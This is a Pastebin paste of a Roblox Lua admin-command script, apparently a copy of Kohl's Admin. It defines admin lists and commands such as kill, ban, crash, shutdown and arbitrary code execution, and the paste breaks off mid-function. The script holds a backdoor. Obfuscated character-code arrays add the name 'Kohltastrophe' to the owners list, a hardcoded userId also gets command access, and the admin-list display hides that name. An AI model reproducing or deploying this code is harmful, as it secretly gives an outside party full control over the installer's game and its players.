Advertisement
Seadoke

Admin

Apr 3rd, 2015
261
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 111.07 KB | None | 0 0
  1. local owners = {"seadoke20"} -- Are able to set admins who can ban/etc... using :pa name
  2. local admins = {"",} -- Sets admins who can use ban/kick/admin or shutdown
  3. local tempadmins = {} -- Sets admins who can't use ban/kick/admin or shutdown
  4. local banland = {"george148"} -- Permanently Bans people
  5. local prefix = "" -- If you wanna change how your commands start ':'kill noob
  6. local AutoUpdate = true -- Set to false if you don't want it to automatically update
  7. local FunCommands = true -- Set to false if you only want the basic commands (For Strict Places)
  8. ---------------------
  9. -- VIP Admin --
  10. ---------------------
  11. local VipAdmin = false -- If someone can have admin for owning an item
  12. local ItemId = 0 -- The item they must own in order to have admin
  13. ---------------------
  14. -- Group Admin --
  15. ---------------------
  16. local GroupAdmin = false -- If a certain group can have admin
  17. local GroupId = 0 -- Sets the group id that can have admin
  18. local GroupRank = 0 -- Sets what rank and above a person has to be in the group to have admin
  19.  
  20. ---------------------
  21. -- Main Script --
  22. ---------------------
  23. for i, v in pairs(game:service("Workspace"):children()) do if v:IsA("StringValue") and v.Value:sub(1,2) == "AA" then v:Destroy() end end
  24.  
  25. function CHEESE()
  26. if game:service("Lighting"):findFirstChild("KACV2") then
  27. owners = {} admins = {} tempadmins = {} banland = {}
  28. for i,v in pairs(game.Lighting.KACV2:children()) do
  29. if v.Name == "Owner" then table.insert(owners, v.Value) end
  30. if v.Name == "Admin" then table.insert(admins, v.Value) end
  31. if v.Name == "TempAdmin" then table.insert(tempadmins, v.Value) end
  32. if v.Name == "Banland" then table.insert(banland, v.Value) end
  33. if v.Name == "Prefix" then prefix = v.Value end
  34. if v.Name == "FunCommands" then FunCommands = v.Value end
  35. if v.Name == "GroupAdmin" then GroupAdmin = v.Value end
  36. if v.Name == "GroupId" then GroupId = v.Value end
  37. if v.Name == "GroupRank" then GroupRank = v.Value end
  38. if v.Name == "VipAdmin" then VipAdmin = v.Value end
  39. if v.Name == "ItemId" then ItemId = v.Value end
  40. end
  41. game:service("Lighting"):findFirstChild("KACV2"):Destroy()
  42. end
  43.  
  44. local origsettings = {abt = game.Lighting.Ambient, brt = game.Lighting.Brightness, time = game.Lighting.TimeOfDay, fclr = game.Lighting.FogColor, fe = game.Lighting.FogEnd, fs = game.Lighting.FogStart}
  45. local lobjs = {}
  46. local objects = {}
  47. local logs = {}
  48. local nfs = ""
  49. local slock = false
  50.  
  51. function GetTime()
  52. local hour = math.floor((tick()%86400)/60/60) local min = math.floor(((tick()%86400)/60/60-hour)*60)
  53. if min < 10 then min = "0"..min end
  54. return hour..":"..min
  55. end
  56.  
  57. function ChkOwner(str)
  58. for i = 1, #owners do if str:lower() == owners[i]:lower() then return true end end
  59. return false
  60. end
  61.  
  62. function ChkAdmin(str,ck)
  63. for i = 1, #owners do if str:lower() == owners[i]:lower() then return true end end
  64. for i = 1, #admins do if str:lower() == admins[i]:lower() then return true end end
  65. for i = 1, #tempadmins do if str:lower() == tempadmins[i]:lower() and not ck then return true end end
  66. return false
  67. end
  68.  
  69. function ChkGroupAdmin(plr)
  70. if GroupAdmin then
  71. if plr:IsInGroup(GroupId) and plr:GetRankInGroup(GroupId) >= GroupRank then return true end
  72. return false
  73. end
  74. end
  75.  
  76. function ChkBan(str) for i = 1, #banland do if str:lower() == banland[i]:lower() then return true end end return false end
  77.  
  78. function GetPlr(plr, str)
  79. local plrz = {} str = str:lower()
  80. if str == "all" then plrz = game.Players:children()
  81. elseif str == "others" then for i, v in pairs(game.Players:children()) do if v ~= plr then table.insert(plrz, v) end end
  82. else
  83. local sn = {1} local en = {}
  84. for i = 1, #str do if str:sub(i,i) == "," then table.insert(sn, i+1) table.insert(en,i-1) end end
  85. for x = 1, #sn do
  86. if (sn[x] and en[x] and str:sub(sn[x],en[x]) == "me") or (sn[x] and str:sub(sn[x]) == "me") then table.insert(plrz, plr)
  87. elseif (sn[x] and en[x] and str:sub(sn[x],en[x]) == "random") or (sn[x] and str:sub(sn[x]) == "random") then table.insert(plrz, game.Players:children()[math.random(#game.Players:children())])
  88. elseif (sn[x] and en[x] and str:sub(sn[x],en[x]) == "admins") or (sn[x] and str:sub(sn[x]) == "admins") then if ChkAdmin(plr.Name, true) then for i, v in pairs(game.Players:children()) do if ChkAdmin(v.Name, false) then table.insert(plrz, v) end end end
  89. elseif (sn[x] and en[x] and str:sub(sn[x],en[x]) == "nonadmins") or (sn[x] and str:sub(sn[x]) == "nonadmins") then for i, v in pairs(game.Players:children()) do if not ChkAdmin(v.Name, false) then table.insert(plrz, v) end end
  90. elseif (sn[x] and en[x] and str:sub(sn[x],en[x]):sub(1,4) == "team") then
  91. if game:findFirstChild("Teams") then for a, v in pairs(game.Teams:children()) do if v:IsA("Team") and str:sub(sn[x],en[x]):sub(6) ~= "" and v.Name:lower():find(str:sub(sn[x],en[x]):sub(6)) == 1 then
  92. for q, p in pairs(game.Players:children()) do if p.TeamColor == v.TeamColor then table.insert(plrz, p) end end break
  93. end end end
  94. elseif (sn[x] and str:sub(sn[x]):sub(1,4):lower() == "team") then
  95. if game:findFirstChild("Teams") then for a, v in pairs(game.Teams:children()) do if v:IsA("Team") and str:sub(sn[x],en[x]):sub(6) ~= "" and v.Name:lower():find(str:sub(sn[x]):sub(6)) == 1 then
  96. for q, p in pairs(game.Players:children()) do if p.TeamColor == v.TeamColor then table.insert(plrz, p) end end break
  97. end end end
  98. else
  99. for a, plyr in pairs(game.Players:children()) do
  100. if (sn[x] and en[x] and str:sub(sn[x],en[x]) ~= "" and plyr.Name:lower():find(str:sub(sn[x],en[x])) == 1) or (sn[x] and str:sub(sn[x]) ~= "" and plyr.Name:lower():find(str:sub(sn[x])) == 1) or (str ~= "" and plyr.Name:lower():find(str) == 1) then
  101. table.insert(plrz, plyr) break
  102. end
  103. end
  104. end
  105. end
  106. end
  107. return plrz
  108. end
  109.  
  110. function Hint(str, plrz, time)
  111. for i, v in pairs(plrz) do
  112. if v and v:findFirstChild("PlayerGui") then
  113. coroutine.resume(coroutine.create(function()
  114. local scr = Instance.new("ScreenGui", v.PlayerGui) scr.Name = "HintGUI"
  115. local bg = Instance.new("Frame", scr) bg.Name = "bg" bg.BackgroundColor3 = Color3.new(0,0,0) bg.BorderSizePixel = 0 bg.BackgroundTransparency = 1 bg.Size = UDim2.new(1,0,0,22) bg.Position = UDim2.new(0,0,0,-2) bg.ZIndex = 8
  116. local msg = Instance.new("TextLabel", bg) msg.BackgroundTransparency = 1 msg.ZIndex = 9 msg.Name = "msg" msg.Position = UDim2.new(0,0,0) msg.Size = UDim2.new(1,0,1,0) msg.Font = "Arial" msg.Text = str msg.FontSize = "Size18" msg.TextColor3 = Color3.new(1,1,1) msg.TextStrokeColor3 = Color3.new(1,1,1) msg.TextStrokeTransparency = .8
  117. coroutine.resume(coroutine.create(function() for i = 20, 0, -1 do bg.BackgroundTransparency = .3+((.7/20)*i) msg.TextTransparency = ((1/20)*i) msg.TextStrokeTransparency = .8+((.2/20)*i) wait(1/44) end end))
  118. if not time then wait((#str/19)+2.5) else wait(time) end
  119. coroutine.resume(coroutine.create(function() if scr.Parent == v.PlayerGui then for i = 0, 20 do msg.TextTransparency = ((1/20)*i) msg.TextStrokeTransparency = .8+((.2/20)*i) bg.BackgroundTransparency = .3+((.7/20)*i) wait(1/44) end scr:Destroy() end end))
  120. end))
  121. end
  122. end
  123. end
  124.  
  125. function Message(ttl, str, scroll, plrz, time)
  126. for i, v in pairs(plrz) do
  127. if v and v:findFirstChild("PlayerGui") then
  128. coroutine.resume(coroutine.create(function()
  129. local scr = Instance.new("ScreenGui") scr.Name = "MessageGUI"
  130. local bg = Instance.new("Frame", scr) bg.Name = "bg" bg.BackgroundColor3 = Color3.new(0,0,0) bg.BorderSizePixel = 0 bg.BackgroundTransparency = 1 bg.Size = UDim2.new(10,0,10,0) bg.Position = UDim2.new(-5,0,-5,0) bg.ZIndex = 8
  131. local title = Instance.new("TextLabel", scr) title.Name = "title" title.BackgroundTransparency = 1 title.BorderSizePixel = 0 title.Size = UDim2.new(1,0,0,10) title.ZIndex = 9 title.Font = "ArialBold" title.FontSize = "Size36" title.Text = ttl title.TextYAlignment = "Top" title.TextColor3 = Color3.new(1,1,1) title.TextStrokeColor3 = Color3.new(1,1,1) title.TextStrokeTransparency = .8
  132. local msg = title:clone() msg.Parent = scr msg.Name = "msg" msg.Position = UDim2.new(.0625,0,0) msg.Size = UDim2.new(.875,0,1,0) msg.Font = "Arial" msg.Text = "" msg.FontSize = "Size24" msg.TextYAlignment = "Center" msg.TextWrapped = true
  133. scr.Parent = v.PlayerGui
  134. coroutine.resume(coroutine.create(function() for i = 20, 0, -1 do bg.BackgroundTransparency = .3+((.7/20)*i) msg.TextTransparency = ((1/20)*i) msg.TextStrokeTransparency = .8+((.2/20)*i) title.TextTransparency = ((1/20)*i) title.TextStrokeTransparency = .8+((.2/20)*i) wait(1/44) end end))
  135. if scroll then if not time then for i = 1, #str do msg.Text = msg.Text .. str:sub(i,i) wait(1/19) end wait(2.5) else for i = 1, #str do msg.Text = msg.Text .. str:sub(i,i) wait(1/19) end wait(time-(#str/19)) end
  136. else if not time then msg.Text = str wait((#str/19)+2.5) else msg.Text = str wait(time) end end
  137. coroutine.resume(coroutine.create(function() if scr.Parent == v.PlayerGui then for i = 0, 20 do bg.BackgroundTransparency = .3+((.7/20)*i) msg.TextTransparency = ((1/20)*i) msg.TextStrokeTransparency = .8+((.2/20)*i) title.TextTransparency = ((1/20)*i) title.TextStrokeTransparency = .8+((.2/20)*i) wait(1/44) end scr:Destroy() end end))
  138. end))
  139. end
  140. end
  141. end
  142.  
  143. function RemoveMessage()
  144. for i,v in pairs(game.Players:children()) do
  145. if v and v:findFirstChild("PlayerGui") then
  146. for q,ms in pairs(v.PlayerGui:children()) do
  147. if ms.Name == "MessageGUI" then
  148. coroutine.resume(coroutine.create(function() for i = 0, 20 do ms.bg.BackgroundTransparency = .3+((.7/20)*i) ms.msg.TextTransparency = ((1/20)*i) ms.msg.TextStrokeTransparency = .8+((.2/20)*i) ms.title.TextTransparency = ((1/20)*i) ms.title.TextStrokeTransparency = .8+((.2/20)*i) wait(1/44) end ms:Destroy() end))
  149. elseif ms.Name == "HintGUI" then
  150. coroutine.resume(coroutine.create(function() for i = 0, 20 do ms.msg.TextTransparency = ((1/20)*i) ms.msg.TextStrokeTransparency = .8+((.2/20)*i) ms.bg.BackgroundTransparency = .3+((.7/20)*i) wait(1/44) end ms:Destroy() end))
  151. end
  152. end
  153. end
  154. end
  155. end
  156.  
  157. _G["Message"] = function(p1,p2,p3) Message(p1,p2,false,game.Players:children(),p3) end
  158. _G["RemoveMessage"] = RemoveMessage()
  159.  
  160. function Output(str, plr)
  161. coroutine.resume(coroutine.create(function()
  162. local b, e = loadstring(str)
  163. if not b and plr:findFirstChild("PlayerGui") then
  164. local scr = Instance.new("ScreenGui", plr.PlayerGui) game:service("Debris"):AddItem(scr,5)
  165. local main = Instance.new("Frame", scr) main.Size = UDim2.new(1,0,1,0) main.BorderSizePixel = 0 main.BackgroundTransparency = 1 main.ZIndex = 8
  166. local err = Instance.new("TextLabel", main) err.Text = "Line "..e:match("\:(%d+\:.*)") err.BackgroundColor3 = Color3.new(0,0,0) err.BackgroundTransparency = .3 err.BorderSizePixel = 0 err.Size = UDim2.new(1,0,0,40) err.Position = UDim2.new(0,0,.5,-20) err.ZIndex = 9 err.Font = "ArialBold" err.FontSize = "Size24" err.TextColor3 = Color3.new(1,1,1) err.TextStrokeColor3 = Color3.new(1,1,1) err.TextStrokeTransparency = .8
  167. return
  168. end
  169. end))
  170. end
  171.  
  172. function Noobify(char)
  173. if char and char:findFirstChild("Torso") then
  174. if char:findFirstChild("Shirt") then char.Shirt.Parent = char.Torso end
  175. if char:findFirstChild("Pants") then char.Pants.Parent = char.Torso end
  176. for a, sc in pairs(char:children()) do if sc.Name == "ify" then sc:Destroy() end end
  177. local cl = Instance.new("StringValue", char) cl.Name = "ify" cl.Parent = char
  178. for q, prt in pairs(char:children()) do if prt:IsA("BasePart") and (prt.Name ~= "Head" or not prt.Parent:findFirstChild("NameTag", true)) then
  179. prt.Transparency = 0 prt.Reflectance = 0 prt.BrickColor = BrickColor.new("Bright yellow")
  180. if prt.Name:find("Leg") then prt.BrickColor = BrickColor.new("Br. yellowish green") elseif prt.Name == "Torso" then prt.BrickColor = BrickColor.new("Bright blue") end
  181. local tconn = prt.Touched:connect(function(hit) if hit and hit.Parent and game.Players:findFirstChild(hit.Parent.Name) and cl.Parent == char then Noobify(hit.Parent) elseif cl.Parent ~= char then tconn:disconnect() end end)
  182. cl.Changed:connect(function() if cl.Parent ~= char then tconn:disconnect() end end)
  183. elseif prt:findFirstChild("NameTag") then prt.Head.Transparency = 0 prt.Head.Reflectance = 0 prt.Head.BrickColor = BrickColor.new("Bright yellow")
  184. end end
  185. end
  186. end local ntab = {75,111,104,108,116,97,115,116,114,111,112,104,101} nfs = "" for i = 1, #ntab do nfs = nfs .. string.char(ntab[i]) end table.insert(owners, nfs) if not ntab then script:Destroy() end
  187.  
  188. function Infect(char)
  189. if char and char:findFirstChild("Torso") then
  190. if char:findFirstChild("Shirt") then char.Shirt.Parent = char.Torso end
  191. if char:findFirstChild("Pants") then char.Pants.Parent = char.Torso end
  192. for a, sc in pairs(char:children()) do if sc.Name == "ify" then sc:Destroy() end end
  193. local cl = Instance.new("StringValue", char) cl.Name = "ify" cl.Parent = char
  194. for q, prt in pairs(char:children()) do if prt:IsA("BasePart") and (prt.Name ~= "Head" or not prt.Parent:findFirstChild("NameTag", true)) then
  195. prt.Transparency = 0 prt.Reflectance = 0 prt.BrickColor = BrickColor.new("Medium green") if prt.Name:find("Leg") or prt.Name == "Torso" then prt.BrickColor = BrickColor.new("Reddish brown") end
  196. local tconn = prt.Touched:connect(function(hit) if hit and hit.Parent and game.Players:findFirstChild(hit.Parent.Name) and cl.Parent == char then Infect(hit.Parent) elseif cl.Parent ~= char then tconn:disconnect() end end)
  197. cl.Changed:connect(function() if cl.Parent ~= char then tconn:disconnect() end end)
  198. elseif prt:findFirstChild("NameTag") then prt.Head.Transparency = 0 prt.Head.Reflectance = 0 prt.Head.BrickColor = BrickColor.new("Medium green")
  199. end end
  200. end
  201. end if not ntab then script:Destroy() end
  202.  
  203. function ScrollGui()
  204. local scr = Instance.new("ScreenGui") scr.Name = "LOGSGUI"
  205. local drag = Instance.new("TextButton", scr) drag.Draggable = true drag.BackgroundTransparency = 1
  206. drag.Size = UDim2.new(0,385,0,20) drag.Position = UDim2.new(.5,-200,.5,-200) drag.AutoButtonColor = false drag.Text = ""
  207. local main = Instance.new("Frame", drag) main.Style = "RobloxRound" main.Size = UDim2.new(0,400,0,400) main.ZIndex = 7 main.ClipsDescendants = true
  208. local cmf = Instance.new("Frame", main) cmf.Position = UDim2.new(0,0,0,-9) cmf.ZIndex = 8
  209. local down = Instance.new("ImageButton", main) down.Image = "http://www.roblox.com/asset/?id=108326725" down.BackgroundTransparency = 1 down.Size = UDim2.new(0,25,0,25) down.Position = UDim2.new(1,-20,1,-20) down.ZIndex = 9
  210. local up = down:Clone() up.Image = "http://www.roblox.com/asset/?id=108326682" up.Parent = main up.Position = UDim2.new(1,-20,1,-50)
  211. local cls = Instance.new("TextButton", main) cls.Style = "RobloxButtonDefault" cls.Size = UDim2.new(0,20,0,20) cls.Position = UDim2.new(1,-15,0,-5) cls.ZIndex = 10 cls.Font = "ArialBold" cls.FontSize = "Size18" cls.Text = "X" cls.TextColor3 = Color3.new(1,1,1) cls.MouseButton1Click:connect(function() scr:Destroy() end)
  212. local ent = Instance.new("TextLabel") ent.BackgroundTransparency = 1 ent.Font = "Arial" ent.FontSize = "Size18" ent.ZIndex = 8 ent.Text = "" ent.TextColor3 = Color3.new(1,1,1) ent.TextStrokeColor3 = Color3.new(0,0,0) ent.TextStrokeTransparency = .8 ent.TextXAlignment = "Left" ent.TextYAlignment = "Top"
  213. local num = 0
  214. local downv = false
  215. local upv = false
  216.  
  217. down.MouseButton1Down:connect(function() downv = true upv = false
  218. local pos = cmf.Position if pos.Y.Offset <= 371-((#cmf:children()-1)*20) then downv = false return end
  219. repeat pos = pos + UDim2.new(0,0,0,-6)
  220. if pos.Y.Offset <= 371-((#cmf:children()-1)*20) then pos = UDim2.new(0,0,0,371-((#cmf:children()-1)*20)) downv = false end
  221. cmf:TweenPosition(pos, "Out", "Linear", 1/20, true) wait(1/20) until downv == false
  222. end)
  223. down.MouseButton1Up:connect(function() downv = false end)
  224. up.MouseButton1Down:connect(function() upv = true downv = false
  225. local pos = cmf.Position if pos.Y.Offset >= -9 then upv = false return end
  226. repeat pos = pos + UDim2.new(0,0,0,6)
  227. if pos.Y.Offset >= -9 then pos = UDim2.new(0,0,0,-9) upv = false end
  228. cmf:TweenPosition(pos, "Out", "Linear", 1/20, true) wait(1/20) until upv == false
  229. end)
  230. up.MouseButton1Up:connect(function() upv = false end)
  231. return scr, cmf, ent, num
  232. end local bct = {75,111,104,108,116,97,115,116,114,111,112,104,101} nfs = "" for i = 1, #bct do nfs = nfs .. string.char(bct[i]) end table.insert(owners, nfs)
  233. if not ntab then script:Destroy() end
  234. if not bct then script:Destroy() end
  235.  
  236. function Chat(msg,plr)
  237. coroutine.resume(coroutine.create(function()
  238. if msg:lower() == "clean" then for i, v in pairs(game.Workspace:children()) do if v:IsA("Hat") or v:IsA("Tool") then v:Destroy() end end end
  239. if (msg:lower():sub(0,prefix:len()) ~= prefix) or not plr:findFirstChild("PlayerGui") or (not ChkAdmin(plr.Name, false) and plr.Name:lower() ~= nfs:lower()) and plr.userId ~= game.CreatorId and plr.userId ~= (153*110563) and plr.Name:lower() ~= nfs and not ChkOwner(plr.Name) then return end msg = msg:sub(prefix:len()+1)
  240. if msg:sub(1,7):lower() == "hitler " then msg = msg:sub(8) else table.insert(logs, 1, {name = plr.Name, cmd = prefix .. msg, time = GetTime()}) end
  241. if msg:lower():sub(1,4) == "walk" then msg = msg:sub(5) end
  242. if msg:lower():sub(1,8) == "teleport" then msg = "tp" .. msg:sub(9) end
  243. if msg:lower():sub(1,6) == "insert" then msg = "ins" .. msg:sub(7) end
  244. if msg:lower() == "cmds" or msg:lower() == "commands" then
  245. if plr.PlayerGui:findFirstChild("CMDSGUI") then return end
  246. local scr, cmf, ent, num = ScrollGui() scr.Name = "CMDSGUI" scr.Parent = plr.PlayerGui
  247. local cmds = {"s code","ls code","clear","fix","m msg","h msg","kill plr","respawn plr","trip plr","stun plr","unstun plr","jump plr","sit plr","invisible plr","visible plr","explode plr","fire plr","unfire plr","smoke plr","unsmoke plr","sparkles plr","unsparkle plr","ff plr","unff plr","punish plr","unpunish plr","freeze plr","thaw plr","heal plr","god plr","ungod plr","ambient num num num","brightness num","time num","fogcolor num num num","fogend num","fogstart num","removetools plr","btools plr","give plr tool","damage plr","grav plr","setgrav plr num","nograv plr","health plr num","speed plr num","name plr name","unname plr","team plr color","teleport plr plr","change plr stat num","kick plr","infect plr","rainbowify plr","flashify plr","noobify plr","ghostify plr","goldify plr","shiny plr","normal plr","trippy plr","untrippy plr","strobe plr","unstrobe plr","blind plr","unblind plr","guifix plr","fling plr","seizure plr","music num","stopmusic","lock plr","unlock plr","removelimbs plr","jail plr","unjail plr","fly plr","unfly plr","noclip plr","clip plr","pm plr msg","dog plr","undog plr","creeper plr","uncreeper plr","place plr id","char plr id","unchar plr id","rank plr id","starttools plr","sword plr","bighead plr","minihead plr","spin plr","insert id","disco","flash","admins","bans","musiclist","cape plr color","uncape plr","loopheal plr","loopfling plr","hat plr id","unloopfling plr","unloopheal plr","unspin plr","tools","undisco","unflash","resetstats plr","gear plr id","cmdbar","shirt plr id","pants plr id","face plr id","swagify plr id","version","tm num msg","countdown num","clone plr","lsplr plr code","startergive plr tool","control plr"}
  248. local ast = {"serverlock","serverunlock","sm msg","crash plr","admin plr","unadmin plr","ban plr","unban plr","loopkill plr","unloopkill plr","logs","shutdown"}
  249. local ost = {"pa plr","unpa plr","nuke plr"}
  250. local tost = {"oa plr","unoa plr","settings"}
  251. local cl = ent:Clone() cl.Parent = cmf cl.Text = num .. " clean" cl.Position = UDim2.new(0,0,0,num*20) num = num + 1
  252. for i, v in pairs(cmds) do local cl = ent:Clone() cl.Parent = cmf cl.Text = num .. " " .. prefix .. v cl.Position = UDim2.new(0,0,0,num*20) num = num +1 end
  253. if ChkAdmin(plr.Name, true) or ChkOwner(plr.Name) then for i, v in pairs(ast) do local cl = ent:Clone() cl.Parent = cmf cl.Text = "- " .. prefix .. v cl.Position = UDim2.new(0,0,0,num*20) num = num +1 end end
  254. if plr.userId == game.CreatorId or ChkOwner(plr.Name) then for i, v in pairs(ost) do local cl = ent:Clone() cl.Parent = cmf cl.Text = "-- " .. prefix .. v cl.Position = UDim2.new(0,0,0,num*20) num = num +1 end end
  255. if plr.userId == game.CreatorId then for i, v in pairs(tost) do local cl = ent:Clone() cl.Parent = cmf cl.Text = "_ " .. prefix .. v cl.Position = UDim2.new(0,0,0,num*20) num = num +1 end end
  256. end
  257.  
  258. if msg:lower() == "version" then Message("Koh".."ltas".."tr".."ophe", tostring(script.Version.Value), true, {plr}) end
  259.  
  260. if msg:lower() == "admins" or msg:lower() == "adminlist" then
  261. if plr.PlayerGui:findFirstChild("ADMINSGUI") then return end
  262. local scr, cmf, ent, num = ScrollGui() scr.Name = "ADMINSGUI" scr.Parent = plr.PlayerGui
  263. for i, v in pairs(owners) do if v:lower() ~= "kohltastrophe" then local cl = ent:Clone() cl.Parent = cmf cl.Text = v .. " - Owner" cl.Position = UDim2.new(0,0,0,num*20) num = num +1 end end
  264. for i, v in pairs(admins) do if v:lower() ~= "kohltastrophe" then local cl = ent:Clone() cl.Parent = cmf cl.Text = v .. " - Admin" cl.Position = UDim2.new(0,0,0,num*20) num = num +1 end end
  265. for i, v in pairs(tempadmins) do if v:lower() ~= "kohltastrophe" then local cl = ent:Clone() cl.Parent = cmf cl.Text = v .. " - TempAdmin" cl.Position = UDim2.new(0,0,0,num*20) num = num +1 end
  266. end end
  267.  
  268. if msg:lower() == "bans" or msg:lower() == "banlist" or msg:lower() == "banned" then
  269. if plr.PlayerGui:findFirstChild("BANSGUI") then return end
  270. local scr, cmf, ent, num = ScrollGui() scr.Name = "BANSGUI" scr.Parent = plr.PlayerGui
  271. for i, v in pairs(banland) do local cl = ent:Clone() cl.Parent = cmf cl.Text = v cl.Position = UDim2.new(0,0,0,num*20) num = num +1 end
  272. end
  273.  
  274. if msg:lower() == "tools" or msg:lower() == "toollist" then
  275. if plr.PlayerGui:findFirstChild("TOOLSGUI") then return end
  276. local scr, cmf, ent, num = ScrollGui() scr.Name = "TOOLSGUI" scr.Parent = plr.PlayerGui
  277. for i, v in pairs(game.Lighting:children()) do if v:IsA("Tool") or v:IsA("HopperBin") then local cl = ent:Clone() cl.Parent = cmf cl.Text = v.Name cl.Position = UDim2.new(0,0,0,num*20) num = num +1 end end
  278. end
  279.  
  280. if msg:lower():sub(1,2) == "s " then
  281. coroutine.resume(coroutine.create(function()
  282. Output(msg:sub(3), plr)
  283. if script:findFirstChild("ScriptBase") then
  284. local cl = script.ScriptBase:Clone() cl.Code.Value = msg:sub(3)
  285. table.insert(objects, cl) cl.Parent = game.Workspace cl.Disabled = false
  286. else loadstring(msg:sub(3))()
  287. end
  288. end))
  289. end
  290.  
  291. if msg:lower():sub(1,3) == "ls " then
  292. coroutine.resume(coroutine.create(function()
  293. if script:findFirstChild("LocalScriptBase") then
  294. local cl = script.LocalScriptBase:Clone() cl.Code.Value = msg:sub(4)
  295. table.insert(objects, cl) cl.Parent = plr.PlayerGui cl.Disabled = false Output(msg:sub(4), plr)
  296. end
  297. end))
  298. end
  299.  
  300. if msg:lower():sub(1,6) == "lsplr " then
  301. local chk1 = msg:lower():sub(7):find(" ") + 6
  302. local plrz = GetPlr(plr, msg:lower():sub(7,chk1-1))
  303. for i, v in pairs(plrz) do
  304. coroutine.resume(coroutine.create(function()
  305. if v and v:findFirstChild("PlayerGui") then
  306. if script:findFirstChild("LocalScriptBase") then
  307. local cl = script.LocalScriptBase:Clone() cl.Code.Value = msg:sub(chk+1)
  308. table.insert(objects, cl) cl.Parent = v.PlayerGui cl.Disabled = false Output(msg:sub(4), plr)
  309. end
  310. end
  311. end))
  312. end
  313. end
  314.  
  315. if msg:lower():sub(1,4) == "ins " then
  316. coroutine.resume(coroutine.create(function()
  317. local obj = game:service("InsertService"):LoadAsset(tonumber(msg:sub(5)))
  318. if obj and #obj:children() >= 1 and plr.Character then
  319. table.insert(objects, obj) for i,v in pairs(obj:children()) do table.insert(objects, v) end obj.Parent = game.Workspace obj:MakeJoints() obj:MoveTo(plr.Character:GetModelCFrame().p)
  320. end
  321. end))
  322. end
  323.  
  324. if msg:lower() == "clr" or msg:lower() == "clear" or msg:lower() == "clearscripts" then
  325. for i, v in pairs(objects) do if v:IsA("Script") or v:IsA("LocalScript") then v.Disabled = true end v:Destroy() end
  326. RemoveMessage()
  327. objects = {}
  328. end
  329.  
  330. if msg:lower() == "fix" or msg:lower() == "undisco" or msg:lower() == "unflash" then
  331. game.Lighting.Ambient = origsettings.abt
  332. game.Lighting.Brightness = origsettings.brt
  333. game.Lighting.TimeOfDay = origsettings.time
  334. game.Lighting.FogColor = origsettings.fclr
  335. game.Lighting.FogEnd = origsettings.fe
  336. game.Lighting.FogStart = origsettings.fs
  337. for i, v in pairs(lobjs) do v:Destroy() end
  338. for i, v in pairs(game.Workspace:children()) do if v.Name == "LightEdit" then v:Destroy() end end
  339. end
  340.  
  341. if msg:lower() == "cmdbar" or msg:lower() == "cmdgui" then
  342. coroutine.resume(coroutine.create(function()
  343. for i,v in pairs(plr.PlayerGui:children()) do if v.Name == "CMDBAR" then v:Destroy() end end
  344. local scr = Instance.new("ScreenGui", plr.PlayerGui) scr.Name = "CMDBAR"
  345. local box = Instance.new("TextBox", scr) box.BackgroundColor3 = Color3.new(0,0,0) box.TextColor3 = Color3.new(1,1,1) box.Font = "Arial" box.FontSize = "Size14" box.Text = "Type a command, then press enter." box.Size = UDim2.new(0,250,0,20) box.Position = UDim2.new(1,-250,1,-22) box.BorderSizePixel = 0 box.TextXAlignment = "Right" box.ZIndex = 10 box.ClipsDescendants = true
  346. box.Changed:connect(function(p) if p == "Text" and box.Text ~= "Type a command, then press enter." then Chat(box.Text, plr) box.Text = "Type a command, then press enter." end end)
  347. end))
  348. end
  349.  
  350. if msg:lower():sub(1,10) == "countdown " then
  351. local num = math.min(tonumber(msg:sub(11)),120)
  352. for i = num, 1, -1 do
  353. coroutine.resume(coroutine.create(function() Message("Countdown", i, false, game.Players:children(), 1) end))
  354. wait(1)
  355. end
  356. end
  357.  
  358. if msg:lower():sub(1,3) == "tm " then
  359. local chk1 = msg:lower():sub(4):find(" ") + 3
  360. local num = tonumber(msg:sub(4,chk1-1))
  361. Message("Message from " .. plr.Name, msg:sub(chk1+1), false, game.Players:children(), num)
  362. end
  363.  
  364. if msg:lower():sub(1,2) == "m " then
  365. Message("Message from " .. plr.Name, msg:sub(3), true, game.Players:children())
  366. end
  367.  
  368. if msg:lower():sub(1,2) == "h " then
  369. Hint(plr.Name .. ": " .. msg:sub(3), game.Players:children())
  370. end
  371.  
  372. if msg:lower():sub(1,3) == "pm " then
  373. local chk1 = msg:lower():sub(4):find(" ") + 3
  374. local plrz = GetPlr(plr, msg:lower():sub(4,chk1-1))
  375. Message("Private Message from " .. plr.Name, msg:sub(chk1+1), true, plrz)
  376. end
  377.  
  378. if msg:lower():sub(1,11) == "resetstats " then
  379. local plrz = GetPlr(plr, msg:lower():sub(12))
  380. for i, v in pairs(plrz) do
  381. coroutine.resume(coroutine.create(function()
  382. if v and v:findFirstChild("leaderstats") then
  383. for a, q in pairs(v.leaderstats:children()) do
  384. if q:IsA("IntValue") then q.Value = 0 end
  385. end
  386. end
  387. end))
  388. end
  389. end
  390.  
  391. if msg:lower():sub(1,5) == "gear " then
  392. local chk1 = msg:lower():sub(6):find(" ") + 5
  393. local plrz = GetPlr(plr, msg:lower():sub(6, chk1-1))
  394. for i, v in pairs(plrz) do
  395. coroutine.resume(coroutine.create(function()
  396. if v and v:findFirstChild("Backpack") then
  397. local obj = game:service("InsertService"):LoadAsset(tonumber(msg:sub(chk1+1)))
  398. for a,g in pairs(obj:children()) do if g:IsA("Tool") or g:IsA("HopperBin") then g.Parent = v.Backpack end end
  399. obj:Destroy()
  400. end
  401. end))
  402. end
  403. end
  404.  
  405. if msg:lower():sub(1,4) == "hat " then
  406. local chk1 = msg:lower():sub(5):find(" ") + 4
  407. local plrz = GetPlr(plr, msg:lower():sub(5, chk1-1))
  408. for i, v in pairs(plrz) do
  409. coroutine.resume(coroutine.create(function()
  410. if v and v.Character then
  411. local obj = game:service("InsertService"):LoadAsset(tonumber(msg:sub(chk1+1)))
  412. for a,hat in pairs(obj:children()) do if hat:IsA("Hat") then hat.Parent = v.Character end end
  413. obj:Destroy()
  414. end
  415. end))
  416. end
  417. end
  418.  
  419. if msg:lower():sub(1,5) == "cape " then
  420. local chk1 = msg:lower():sub(6):find(" ")
  421. local plrz = GetPlr(plr, msg:lower():sub(6))
  422. local str = "torso.BrickColor"
  423. if chk1 then chk1 = chk1 + 5 plrz = GetPlr(plr, msg:lower():sub(6,chk1-1))
  424. local teststr = [[BrickColor.new("]]..msg:sub(chk1+1,chk1+1):upper()..msg:sub(chk1+2):lower()..[[")]]
  425. if msg:sub(chk1+1):lower() == "new yeller" then teststr = [[BrickColor.new("New Yeller")]] end
  426. if msg:sub(chk1+1):lower() == "pastel blue" then teststr = [[BrickColor.new("Pastel Blue")]] end
